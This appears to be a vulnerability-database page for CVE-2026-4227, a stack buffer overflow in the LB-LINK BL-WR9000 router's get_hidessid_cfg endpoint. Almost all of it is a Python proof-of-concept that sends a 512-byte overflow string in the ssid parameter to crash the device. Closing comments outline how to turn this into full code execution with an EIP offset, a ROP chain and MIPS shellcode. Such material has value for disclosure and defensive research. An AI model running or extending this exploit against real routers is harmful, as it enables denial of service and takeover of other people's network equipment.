CVE-2026-4227 LB-LINK BL-WR9000 get_hidessid_cfg缓冲区溢出漏洞

import requests # CVE-2026-4227 PoC - LB-LINK BL-WR9000 Buffer Overflow # Target: /goform/get_hidessid_cfg # Vulnerability: Stack buffer overflow in sub_44D844 function target_ip = "192.168.1.1" # Router IP target_port = 80 # Construct malicious payload - 512 bytes to trigger overflow # Padding to reach return address on stack padding = b'A' * 512 # Optional: Add shellcode or ROP chain here for exploitation # For demonstration, using pattern to identify offset url = f"http://{target_ip}:{target_port}/goform/get_hidessid_cfg" params = { "ssid": padding.decode('latin-1') # Trigger buffer overflow } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(padding)} bytes") response = requests.get(url, params=params, timeout=5) print(f"[+] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - possible successful exploitation") except requests.exceptions.ConnectionError: print("[!] Connection failed - device may be crashed or patched") except Exception as e: print(f"[-] Error: {e}") # Note: This PoC demonstrates the vulnerability. Full exploitation requires: # 1. Identifying exact offset to EIP # 2. Building ROP chain to bypass ASLR/NX # 3. Deploying appropriate shellcode for MIPS architecture